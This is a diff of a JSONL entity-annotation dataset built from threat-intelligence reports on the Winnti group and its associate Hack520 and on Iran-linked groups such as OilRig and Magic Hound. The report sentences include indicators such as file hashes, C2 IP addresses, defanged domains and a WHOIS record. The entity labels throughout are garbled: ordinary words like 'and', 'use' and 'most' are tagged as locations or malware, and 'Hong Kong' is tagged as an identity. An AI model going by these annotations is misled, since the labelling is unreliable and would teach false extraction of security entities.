HackTool.Win64.PassDump.AC","entities":[{"id":20207,"label":"location","start_offset":8,"end_offset":11},{"id":20208,"label":"attack-pattern","start_offset":12,"end_offset":21},{"id":20209,"label":"attack-pattern","start_offset":60,"end_offset":74},{"id":20210,"label":"attack-pattern","start_offset":103,"end_offset":117},{"id":20211,"label":"attack-pattern","start_offset":159,"end_offset":179},{"id":20212,"label":"location","start_offset":236,"end_offset":243},{"id":20213,"label":"attack-pattern","start_offset":275,"end_offset":292},{"id":20214,"label":"location","start_offset":426,"end_offset":429},{"id":20215,"label":"attack-pattern","start_offset":439,"end_offset":452},{"id":20216,"label":"location","start_offset":454,"end_offset":462},{"id":20217,"label":"location","start_offset":608,"end_offset":613},{"id":20218,"label":"SHA1","start_offset":657,"end_offset":721},{"id":20219,"label":"location","start_offset":767,"end_offset":771},{"id":20220,"label":"SHA2","start_offset":781,"end_offset":845},{"id":20221,"label":"SHA2","start_offset":929,"end_offset":993}],"relations":[],"Comments":[]} @@ -3611,102 +5011,41 @@ {"id":6531,"text":"ورش مجانية.zip 5e2642f33115c3505bb1d83b137e7f2b18e141930975636e6230cdd4292990dd PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities مکتالمنحالدراسیة.zip b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf PUA.Win32.ScreenConnect.P Archive containing ScreenConnect المنح الدرایةس.exe 3e4e179a7a6718eedf36608bd7130b62a5a464ac301a211c3c8e37c7e4b0b32b PUA.Win32.ScreenConnect.P ScreenConnect remote access software Network 23.94.50.197:444 23.95.215.100:443 23.95.215.100:8080 87.236.212.184:443 87.236.212.184:8008 Tags APT & Targeted Attacks | Articles, News, Reports |","entities":[{"id":20244,"label":"SHA1","start_offset":15,"end_offset":79},{"id":20245,"label":"malware","start_offset":127,"end_offset":142},{"id":20246,"label":"SHA2","start_offset":164,"end_offset":228},{"id":20247,"label":"malware","start_offset":274,"end_offset":287},{"id":20248,"label":"SHA2","start_offset":307,"end_offset":371},{"id":20249,"label":"malware","start_offset":398,"end_offset":411},{"id":20250,"label":"location","start_offset":412,"end_offset":418},{"id":20251,"label":"location","start_offset":549,"end_offset":552}],"relations":[],"Comments":[]} {"id":6532,"text":"Research","entities":[],"relations":[],"Comments":[]} {"id":6533,"text":"Updated on April 26, 2017, 01:39 PM (UTC-7) to add the accurate IP address.","entities":[{"id":20253,"label":"TIME","start_offset":27,"end_offset":43}],"relations":[],"Comments":[]} -{"id":6534,"text":"In one of our previous blog entries, we covered how the threat actor known as Winnti was using GitHub to spread malware – a development that shows how the group is starting to evolve and use new attack methods beyond their previous tactics involving targeted attacks against gaming, pharmaceutical, and telecommunications companies.","entities":[{"id":20257,"label":"location","start_offset":183,"end_offset":186},{"id":20258,"label":"location","start_offset":275,"end_offset":281},{"id":20259,"label":"location","start_offset":299,"end_offset":302}],"relations":[],"Comments":[]} -{"id":6535,"text":"Through this entry, in which we take a closer look at an individual who we believe might be connected to the Winnti group, we hope to give both ordinary users and organizations better insights into some of the tools – notably the server infrastructures- these kinds of threat actors use, as well as the scale in which they operate.","entities":[{"id":20261,"label":"location","start_offset":126,"end_offset":130},{"id":20262,"label":"location","start_offset":134,"end_offset":138},{"id":20263,"label":"location","start_offset":144,"end_offset":152},{"id":20264,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]} -{"id":6536,"text":"Searching Domain Registrations for Clues Threat actors typically register and use several domains in order to discretely lead their malware to their Command and Control (C&C) servers.","entities":[{"id":20265,"label":"location","start_offset":65,"end_offset":73},{"id":20266,"label":"location","start_offset":74,"end_offset":77},{"id":20267,"label":"location","start_offset":121,"end_offset":125},{"id":20268,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]} -{"id":6537,"text":"Registering a domain name always requires some form of identifying information: a physical or mailing address, an email address, and a phone number.","entities":[{"id":20269,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} -{"id":6538,"text":"Of these, a valid email address holds the greatest importance because it is where the registrar sends the confirmation of a domain purchase to the new owner in addition to the information needed to control the domain.","entities":[{"id":20270,"label":"location","start_offset":131,"end_offset":139}],"relations":[],"Comments":[]} -{"id":6539,"text":"Most fraudsters create one-time email addresses or use stolen email addresses, both of which are easy to create or obtain.","entities":[{"id":20271,"label":"location","start_offset":0,"end_offset":4},{"id":20273,"label":"location","start_offset":27,"end_offset":31},{"id":20274,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]} -{"id":6540,"text":"However, over time, it becomes tedious for fraudsters to constantly change information when registering new domains.","entities":[{"id":20275,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]} -{"id":6541,"text":"This is the point where they are likely to make mistakes and start reusing e-mail addresses.","entities":[{"id":20276,"label":"location","start_offset":12,"end_offset":17},{"id":20277,"label":"location","start_offset":29,"end_offset":32},{"id":20278,"label":"location","start_offset":33,"end_offset":39},{"id":20279,"label":"location","start_offset":57,"end_offset":60},{"id":20280,"label":"location","start_offset":61,"end_offset":66}],"relations":[],"Comments":[]} -{"id":6542,"text":"A careful analysis of the domain registrations from this threat actor between 2014 and 2015 allowed us to identify one profile used to register several domains that were used as C&C servers for a particular malware family employed by the Winnti group.","entities":[{"id":20283,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]} {"id":6543,"text":"In particular, we managed to gather details on an individual using the handle Hack520, who we believe is connected to Winnti.","entities":[],"relations":[],"Comments":[]} {"id":6544,"text":"Who is the Winnti group?","entities":[],"relations":[],"Comments":[]} -{"id":6545,"text":"The group behind the Winnti malware (which we will call the Winnti group for brevity) sprung up as a band of traditional cyber crooks, comprising black hats whose technical skills were employed to perpetrate financial fraud.","entities":[{"id":20289,"label":"location","start_offset":46,"end_offset":50},{"id":20290,"label":"location","start_offset":51,"end_offset":55},{"id":20292,"label":"location","start_offset":127,"end_offset":133},{"id":20293,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]} {"id":6546,"text":"Based on the use of domain names they registered, the group started out in the business of fake\/rogue anti-virus products in 2007.","entities":[{"id":20294,"label":"malware","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]} -{"id":6547,"text":"In 2009, the Winnti group shifted to targeting gaming companies in South Korea using a self-named data- and file-stealing malware.","entities":[{"id":20298,"label":"location","start_offset":47,"end_offset":53},{"id":20300,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]} {"id":6548,"text":"The group, which was primarily motivated by profit, is noted for utilizing self-developed technically-proficient tools for their attacks.","entities":[],"relations":[],"Comments":[]} {"id":6549,"text":"They once attacked a game server to illicitly farm in-game currency (“gaming gold”, which also has real-world value) and stole source codes of online game projects.","entities":[{"id":20301,"label":"location","start_offset":70,"end_offset":76},{"id":20302,"label":"location","start_offset":77,"end_offset":81},{"id":20303,"label":"location","start_offset":99,"end_offset":103},{"id":20304,"label":"location","start_offset":104,"end_offset":109},{"id":20305,"label":"location","start_offset":117,"end_offset":120},{"id":20306,"label":"attack-pattern","start_offset":127,"end_offset":133}],"relations":[],"Comments":[]} -{"id":6550,"text":"The group also engaged in the theft of digital certificates which they then used to sign their malware to make them stealthier.","entities":[{"id":20307,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]} -{"id":6551,"text":"The Winnti group diversified its targets to include enterprises such as those in pharmaceutics and telecommunications.","entities":[{"id":20309,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]} {"id":6552,"text":"The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor.","entities":[{"id":20310,"label":"location","start_offset":129,"end_offset":134},{"id":20311,"label":"attack-pattern","start_offset":135,"end_offset":143},{"id":20312,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]} -{"id":6553,"text":"During the course of researching the Winnti group, we came across previously unreported malware samples that we attributed to the group based on the malware arsenal and the use of registered domains as attack infrastructure.","entities":[{"id":20314,"label":"location","start_offset":157,"end_offset":164},{"id":20315,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]} {"id":6554,"text":"These samples led us to the discovery of additional C&C servers that provided us with more information than we initially expected.","entities":[],"relations":[],"Comments":[]} {"id":6555,"text":"A closer look at Hack520","entities":[],"relations":[],"Comments":[]} {"id":6556,"text":"Our initial investigation on the domains registered by Hack520 revealed that similar domains (listed below) were registered by another profile.","entities":[],"relations":[],"Comments":[]} {"id":6557,"text":" hack520[.]co[.]kr shaiya[.]kr zhu[.]kr shenqi[.]kr zhuxian[.]kr Several of these domains are linked to variants of malware that were used by the Winnti threat actor.","entities":[{"id":20316,"label":"location","start_offset":91,"end_offset":94},{"id":20317,"label":"malware","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]} -{"id":6558,"text":"Surprisingly enough, it does not take very long to get some information about Hack520: someone with this handle runs a blog and a Twitter account (with a handle close to Hack520) that is also directly linked to the blog.","entities":[{"id":20318,"label":"location","start_offset":43,"end_offset":47},{"id":20319,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]} {"id":6559,"text":"Figure 1: Twitter account of Hack520","entities":[],"relations":[],"Comments":[]} -{"id":6560,"text":"One interesting detail about Hack520 is his apparent love for pigs, as seen in his use of the word in his email addresses.","entities":[{"id":20322,"label":"location","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]} -{"id":6561,"text":"He also mentions his occupation as a “pig farmer” in online message boards.","entities":[{"id":20323,"label":"location","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]} -{"id":6562,"text":"In addition, Hack520’s tweets always show photos of the same animal, which is likely his pet pig.","entities":[{"id":20325,"label":"location","start_offset":56,"end_offset":60},{"id":20326,"label":"location","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]} -{"id":6563,"text":"The Twitter handle used by Hack520 indicates also an “est” portion.","entities":[{"id":20328,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} -{"id":6564,"text":"This “est” reference could refer to a hacking group with its own message board on which hack520 also posts regularly.","entities":[{"id":20329,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]} -{"id":6565,"text":"In one particular forum post, Hack520 mentions that he was previously jailed for a period of 10 months in a blog post dated May 31, 2009.","entities":[{"id":20332,"label":"location","start_offset":24,"end_offset":28},{"id":20335,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]} -{"id":6566,"text":"Figure 2: Post from Hack520’s blog","entities":[{"id":20338,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]} {"id":6567,"text":"A rough translation of this message is as follows: “Fxxk, when I am released, the server is offline, I can’t find the machine, the domain is expired, it is so bad.","entities":[],"relations":[],"Comments":[]} -{"id":6568,"text":"I wasted 10 months, I have failed and lost my money.”","entities":[{"id":20341,"label":"location","start_offset":34,"end_offset":37},{"id":20342,"label":"location","start_offset":46,"end_offset":51}],"relations":[],"Comments":[]} -{"id":6569,"text":"Hack520 seems to be very interested in hosting services and his profile fits that of a system administrator profile with some programming and hacking skills.","entities":[{"id":20344,"label":"location","start_offset":56,"end_offset":59},{"id":20345,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]} {"id":6570,"text":"After further research, we were able to link Hack520 to different network administration activities, notably with a Virtual Private Server (VPS) hosting service.","entities":[],"relations":[],"Comments":[]} -{"id":6571,"text":"The way Hack520 signs his messages in one hacker forum provides a clue pointing to this connection.","entities":[{"id":20347,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]} {"id":6572,"text":"While one of his signatures uses his own blog domain, there is also a second signature which uses 93[.]gd, a domain that was found to have been actively selling VPS services in the past.","entities":[],"relations":[],"Comments":[]} {"id":6573,"text":"The email address admin@93[.]gd is linked to IP addresses owned by a certain user with the nickname “PIG GOD”—another reference to Hack520’s passion for pigs.","entities":[],"relations":[],"Comments":[]} -{"id":6574,"text":"Among the IP addresses owned by Hack520 is a whole\/22 IP Range which we dubbed as the “PIG RANGE”.","entities":[{"id":20352,"label":"location","start_offset":57,"end_offset":62},{"id":20353,"label":"location","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]} {"id":6575,"text":"The IP range for “PIG GOD” is 43[.]255[.]188.0\/22, which appears to be hosted in Hong Kong as seen in the information we found: inetnum: 43[.]255[.]188[.]0 - 43[.]255[.]191[.]255 netname: PIG-HK description: PIG GOD country: HK admin-c: PG406-AP tech-c: PG406-AP person: pig god country: HK phone: +852-39437000 e-mail: admin@66[.]to nic-hdl: PG406-AP mnt-by: MAINT-RAIBOW-HK changed: admin@66[.]to 20160917 source: APNIC The domain 66[.]to leads to another website that shows Hack520’s pet pig.","entities":[{"id":20354,"label":"location","start_offset":7,"end_offset":12},{"id":20355,"label":"location","start_offset":22,"end_offset":25},{"id":20356,"label":"identity","start_offset":81,"end_offset":90},{"id":20357,"label":"IPV4","start_offset":138,"end_offset":156},{"id":20358,"label":"IPV4","start_offset":159,"end_offset":179},{"id":20359,"label":"location","start_offset":213,"end_offset":216},{"id":20360,"label":"location","start_offset":264,"end_offset":270},{"id":20361,"label":"location","start_offset":276,"end_offset":279},{"id":20364,"label":"attack-pattern","start_offset":409,"end_offset":415}],"relations":[],"Comments":[]} -{"id":6576,"text":"It also reveals direct links to secure[.]66[.]to and zhu[.]vn, both of which also belong to Hack520 and contains his personal blog.","entities":[{"id":20366,"label":"location","start_offset":49,"end_offset":52},{"id":20368,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} {"id":6577,"text":"Figure 3: Hack520’s pet pig","entities":[],"relations":[],"Comments":[]} -{"id":6578,"text":"We were able to find additional links between Hack520’s “Pig network” and the Winnti group’s activities.","entities":[{"id":20371,"label":"location","start_offset":38,"end_offset":45},{"id":20373,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]} -{"id":6579,"text":"This includes hosting C&C domains that were used by Winnti such as mtrue.com, shenqi[.]kr and zhu[.]kr.","entities":[{"id":20377,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]} {"id":6580,"text":"We also found a live service selling VPS hosting at secure[.]66[.]to.","entities":[],"relations":[],"Comments":[]} -{"id":6581,"text":"The hosting services offered at secure[.]66[.]to are in fact hosting services rented to other companies worldwide.","entities":[{"id":20378,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]} -{"id":6582,"text":"The contents found in secure[.]66[.]to often lead to zhu[.]vn, which is Hack520’s domain for hosting his own private blog.","entities":[{"id":20379,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]} {"id":6583,"text":" Figure 4: Screenshot of secure[.]66[.]to","entities":[],"relations":[],"Comments":[]} -{"id":6584,"text":"We found roughly 500 domain names that lead or have led to the “Pig network” between 2015 to March 2017.","entities":[{"id":20383,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]} -{"id":6585,"text":"Most of these domains seem to have contained illegitimate content like pornography and online gambling.","entities":[{"id":20385,"label":"location","start_offset":0,"end_offset":4},{"id":20386,"label":"location","start_offset":58,"end_offset":65},{"id":20387,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]} -{"id":6586,"text":"We highly suspect the “Pig network” to have also been used as a bulletproof hosting service for cybercriminals who are unrelated to the Winnti group.","entities":[{"id":20388,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]} -{"id":6587,"text":"From what we’ve seen in Hack520’s blog, as well as the infrastructure deployed around it, it is quite safe to say that Hack520 is involved in aspects of the VPS service activity provided to groups like Winnti and other cybercriminals or threat actors.","entities":[{"id":20391,"label":"location","start_offset":102,"end_offset":106},{"id":20394,"label":"location","start_offset":209,"end_offset":212}],"relations":[],"Comments":[]} -{"id":6588,"text":"What we’ve learned Threat actors like the Winnti group rarely ever stay static in terms of both tools and tactics.","entities":[{"id":20395,"label":"location","start_offset":11,"end_offset":18},{"id":20397,"label":"location","start_offset":62,"end_offset":66},{"id":20398,"label":"location","start_offset":72,"end_offset":78},{"id":20399,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} -{"id":6589,"text":"As we’ve already previously discussed in our 2017 predictions, these groups will constantly evolve and employ unique and advanced attack techniques.","entities":[{"id":20401,"label":"location","start_offset":76,"end_offset":80},{"id":20402,"label":"location","start_offset":99,"end_offset":102},{"id":20403,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} -{"id":6590,"text":"In addition, individuals like Hack520 prove that these threat actors are composed of varied individuals who have their own set of expertise.","entities":[{"id":20405,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]} -{"id":6591,"text":"All of these things point to threat actors and groups like Winnti will continue to try different methods of attack.","entities":[{"id":20406,"label":"location","start_offset":20,"end_offset":25},{"id":20407,"label":"location","start_offset":43,"end_offset":46},{"id":20409,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]} {"id":6592,"text":"Threat actors are always looking to expand the strategies they use, thus security practices and solutions that work for less organized cybercriminals might not work for determined groups who are willing to spend time, resources and manpower to accomplish their goals.","entities":[{"id":20410,"label":"location","start_offset":14,"end_offset":17},{"id":20411,"label":"malware","start_offset":36,"end_offset":42},{"id":20412,"label":"location","start_offset":73,"end_offset":81},{"id":20413,"label":"location","start_offset":92,"end_offset":95},{"id":20414,"label":"location","start_offset":191,"end_offset":194},{"id":20415,"label":"location","start_offset":212,"end_offset":216},{"id":20416,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]} -{"id":6593,"text":"As such, there is a need for everyone to be proactive when it comes to security, especially for organizations who are frequently the victims of targeted attacks.","entities":[{"id":20417,"label":"location","start_offset":71,"end_offset":79},{"id":20418,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} -{"id":6594,"text":"By creating awareness and using the right solutions, both individuals and organizations can take the steps needed to defend against the malicious tactics used by threat actors like the Winnti group. Tags APT & Targeted Attacks | Research","entities":[{"id":20419,"label":"location","start_offset":22,"end_offset":25},{"id":20420,"label":"location","start_offset":70,"end_offset":73},{"id":20421,"label":"location","start_offset":88,"end_offset":91},{"id":20423,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]} -{"id":6595,"text":"This post is also available in: 日本語 (Japanese) With elevated tensions in the Middle East region, there is significant attention being paid to the potential for cyber attacks emanating from Iran.","entities":[{"id":20424,"label":"location","start_offset":5,"end_offset":9},{"id":20427,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]} -{"id":6596,"text":"The following threat brief contains a summary of historical campaigns that are associated with Iranian activity and does not expose any new threat or attack that has occurred since the events of January 3rd, 2020. Since 2010, it is thought that Iran has been highly active in cyber operations campaigns throughout the world.","entities":[{"id":20429,"label":"location","start_offset":75,"end_offset":78},{"id":20431,"label":"location","start_offset":112,"end_offset":115},{"id":20435,"label":"location","start_offset":319,"end_offset":324}],"relations":[],"Comments":[]} -{"id":6597,"text":"A number of groups and campaigns have been named and published on by the private sector, but direct attribution to the nation-state of Iran is still largely lacking in many of these instances.","entities":[{"id":20436,"label":"location","start_offset":19,"end_offset":22},{"id":20437,"label":"location","start_offset":49,"end_offset":52},{"id":20439,"label":"location","start_offset":168,"end_offset":172}],"relations":[],"Comments":[]} -{"id":6598,"text":"Most attribution published by the private sector has relied on tactical evidence surrounding targeting and possible motivations.","entities":[{"id":20440,"label":"location","start_offset":0,"end_offset":4},{"id":20441,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} -{"id":6599,"text":"It is important to keep this in mind, while at the same time understanding that without additional evidence, the current attribution set is accepted industry-wide as fact.","entities":[{"id":20442,"label":"location","start_offset":51,"end_offset":55},{"id":20443,"label":"location","start_offset":56,"end_offset":60},{"id":20444,"label":"location","start_offset":149,"end_offset":157}],"relations":[],"Comments":[]} -{"id":6600,"text":"Unit 42 has not gathered evidence to specifically attribute any of the accepted groups as originating from Iran, but also has not observed any evidence to counter any publicly made claims.","entities":[{"id":20447,"label":"location","start_offset":176,"end_offset":180}],"relations":[],"Comments":[]} {"id":6601,"text":"Overview of Iran-Linked Campaigns:","entities":[],"relations":[],"Comments":[]} -{"id":6602,"text":"Some of the currently active groups or campaigns publicly attributed by the industry as originating from Iran are: There appear to be two distinct motivators for these groups, espionage and destruction.","entities":[{"id":20449,"label":"location","start_offset":76,"end_offset":84},{"id":20451,"label":"location","start_offset":110,"end_offset":113},{"id":20453,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]} -{"id":6603,"text":"The majority of observed attack campaigns have been espionage related, with the associated groups appearing to seek continued access into a target organization or access to sensitive data.","entities":[{"id":20454,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]} -{"id":6604,"text":"A smaller number of highly focused destructive attacks have been observed over time, beginning with the original Shamoon attack in 2012, with additional iterations years after, and more recently with StoneDrill and ZeroCleare.","entities":[{"id":20455,"label":"location","start_offset":79,"end_offset":83},{"id":20459,"label":"location","start_offset":177,"end_offset":180},{"id":20461,"label":"location","start_offset":211,"end_offset":214}],"relations":[],"Comments":[]} -{"id":6605,"text":" Overall, cyber attacks thought to be originating from Iran have been persistent and ongoing for the last decade.","entities":[{"id":20463,"label":"location","start_offset":1,"end_offset":8},{"id":20465,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} {"id":6606,"text":"The target radius for these groups have spanned across the globe, across all major industries.","entities":[{"id":20467,"label":"location","start_offset":4,"end_offset":10},{"id":20468,"label":"malware","start_offset":59,"end_offset":64},{"id":20469,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]} -{"id":6607,"text":"Although perceived retaliatory actions may occur in the near future, even those actions are most likely in conjunction with ongoing attack campaigns and operations.","entities":[{"id":20470,"label":"location","start_offset":39,"end_offset":42},{"id":20471,"label":"location","start_offset":88,"end_offset":91},{"id":20472,"label":"location","start_offset":92,"end_offset":96},{"id":20473,"label":"location","start_offset":97,"end_offset":103},{"id":20474,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]} {"id":6608,"text":"Iranian TTPs:","entities":[],"relations":[],"Comments":[]} -{"id":6609,"text":"Behaviorally, several tactics and techniques have been observed across multiple groups and campaigns over time.","entities":[{"id":20476,"label":"location","start_offset":30,"end_offset":33},{"id":20477,"label":"location","start_offset":87,"end_offset":90},{"id":20478,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]} -{"id":6610,"text":"The following is a list of commonly observed tactics and techniques along with their associated ATT&CK IDs:","entities":[{"id":20479,"label":"location","start_offset":19,"end_offset":23},{"id":20480,"label":"location","start_offset":53,"end_offset":56},{"id":20481,"label":"location","start_offset":68,"end_offset":73}],"relations":[],"Comments":[]} {"id":6611,"text":"General Mitigations:","entities":[],"relations":[],"Comments":[]} -{"id":6612,"text":"With this knowledge of common behaviors, some mitigations recommendations are: Palo Alto Networks’ Customer Mitigations: Palo Alto Networks customers should adopt best practices and evaluate their security posture to protect against the threats outlined in this document as well as other threats that may impact their network and users.","entities":[{"id":20482,"label":"location","start_offset":74,"end_offset":77},{"id":20485,"label":"location","start_offset":164,"end_offset":168},{"id":20486,"label":"location","start_offset":179,"end_offset":182},{"id":20487,"label":"location","start_offset":198,"end_offset":206},{"id":20488,"label":"location","start_offset":302,"end_offset":305},{"id":20489,"label":"location","start_offset":306,"end_offset":312},{"id":20490,"label":"location","start_offset":327,"end_offset":330}],"relations":[],"Comments":[]} {"id":6613,"text":" https:\/\/attack.mitre.org\/groups\/G0049\/ OilRig is a threat group Unit 42 named and discovered in May 2016.","entities":[{"id":20492,"label":"malware","start_offset":41,"end_offset":47},{"id":20494,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]} -{"id":6614,"text":"Since then, we have extensively researched their campaigns and operations.","entities":[{"id":20496,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]} {"id":6615,"text":"This threat group is extremely persistent and relies heavily on spear-phishing as their initial attack vector, but has also been associated with other more sophisticated attacks such credential harvesting campaigns and DNS hijacking.","entities":[{"id":20497,"label":"location","start_offset":42,"end_offset":45},{"id":20498,"label":"location","start_offset":64,"end_offset":69},{"id":20499,"label":"attack-pattern","start_offset":70,"end_offset":78},{"id":20500,"label":"tools","start_offset":103,"end_offset":109},{"id":20501,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]} {"id":6616,"text":"In their spear-phishing attacks, OilRig preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came in the form of portable executables (PE), PowerShell and VBScripts.","entities":[{"id":20502,"label":"location","start_offset":9,"end_offset":14},{"id":20503,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20506,"label":"tools","start_offset":74,"end_offset":80},{"id":20508,"label":"location","start_offset":87,"end_offset":90},{"id":20510,"label":"attack-pattern","start_offset":193,"end_offset":203},{"id":20511,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]} -{"id":6617,"text":"OilRig’s custom payloads frequently used DNS tunneling as a command and control (C2) channel.","entities":[{"id":20513,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} {"id":6618,"text":" Once gaining access to an end point, actors would use credential dumping tools, such as Mimikatz to gather credentials to legitimate accounts to then move laterally to other systems on the network.","entities":[{"id":20514,"label":"location","start_offset":31,"end_offset":36},{"id":20515,"label":"attack-pattern","start_offset":55,"end_offset":73},{"id":20516,"label":"malware","start_offset":89,"end_offset":97}],"relations":[],"Comments":[]} -{"id":6619,"text":"When presented with a webserver, OilRig would install a webshell as another ingress point to maintain access to the network.","entities":[{"id":20518,"label":"location","start_offset":84,"end_offset":89}],"relations":[],"Comments":[]} {"id":6620,"text":" https:\/\/unit42.paloaltonetworks.com\/behind-the-scenes-with-oilrig\/","entities":[],"relations":[],"Comments":[]} {"id":6621,"text":" https:\/\/unit42.paloaltonetworks.com\/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling\/ https:\/\/unit42.paloaltonetworks.com\/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-performs-tests-twoface-webshell\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan\/ https:\/\/unit42.paloaltonetworks.com\/unit42-striking-oil-closer-look-adversary-infrastructure\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group\/ https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-actors-provide-glimpse-development-testing-efforts\/ https:\/\/unit42.paloaltonetworks.com\/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor\/ https:\/\/attack.mitre.org\/groups\/G0059\/ The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism. These emails delivered macro-enabled Microsoft Office documents and PE files within attachments. The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy. The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group.","entities":[{"id":20520,"label":"URL","start_offset":1,"end_offset":97},{"id":20521,"label":"URL","start_offset":99,"end_offset":201},{"id":20523,"label":"URL","start_offset":313,"end_offset":428},{"id":20526,"label":"URL","start_offset":642,"end_offset":737},{"id":20533,"label":"URL","start_offset":1346,"end_offset":1467},{"id":20534,"label":"URL","start_offset":1469,"end_offset":1507},{"id":20535,"label":"threat-actor","start_offset":1513,"end_offset":1524},{"id":20536,"label":"location","start_offset":1525,"end_offset":1533},{"id":20537,"label":"location","start_offset":1543,"end_offset":1549},{"id":20538,"label":"location","start_offset":1563,"end_offset":1566},{"id":20539,"label":"location","start_offset":1597,"end_offset":1602},{"id":20540,"label":"attack-pattern","start_offset":1603,"end_offset":1611},{"id":20541,"label":"identity","start_offset":1681,"end_offset":1690},{"id":20542,"label":"tools","start_offset":1691,"end_offset":1697},{"id":20543,"label":"location","start_offset":1708,"end_offset":1711},{"id":20544,"label":"location","start_offset":1755,"end_offset":1758},{"id":20545,"label":"malware","start_offset":1872,"end_offset":1883},{"id":20546,"label":"malware","start_offset":1911,"end_offset":1922},{"id":20547,"label":"location","start_offset":1952,"end_offset":1955},{"id":20549,"label":"threat-actor","start_offset":2026,"end_offset":2037},{"id":20550,"label":"location","start_offset":2038,"end_offset":2046},{"id":20552,"label":"location","start_offset":2151,"end_offset":2155},{"id":20553,"label":"threat-actor","start_offset":2176,"end_offset":2186}],"relations":[],"Comments":[]} {"id":6622,"text":"Also, a Magic Hound C2 server was also used as a C2 server for a tool called MPKBot that had been associated with the Rocket Kitten threat group.","entities":[{"id":20555,"label":"location","start_offset":65,"end_offset":69},{"id":20557,"label":"threat-actor","start_offset":118,"end_offset":131}],"relations":[],"Comments":[]} {"id":6623,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-magic-hound-campaign-attacks-saudi-targets\/","entities":[],"relations":[],"Comments":[]} {"id":6624,"text":" 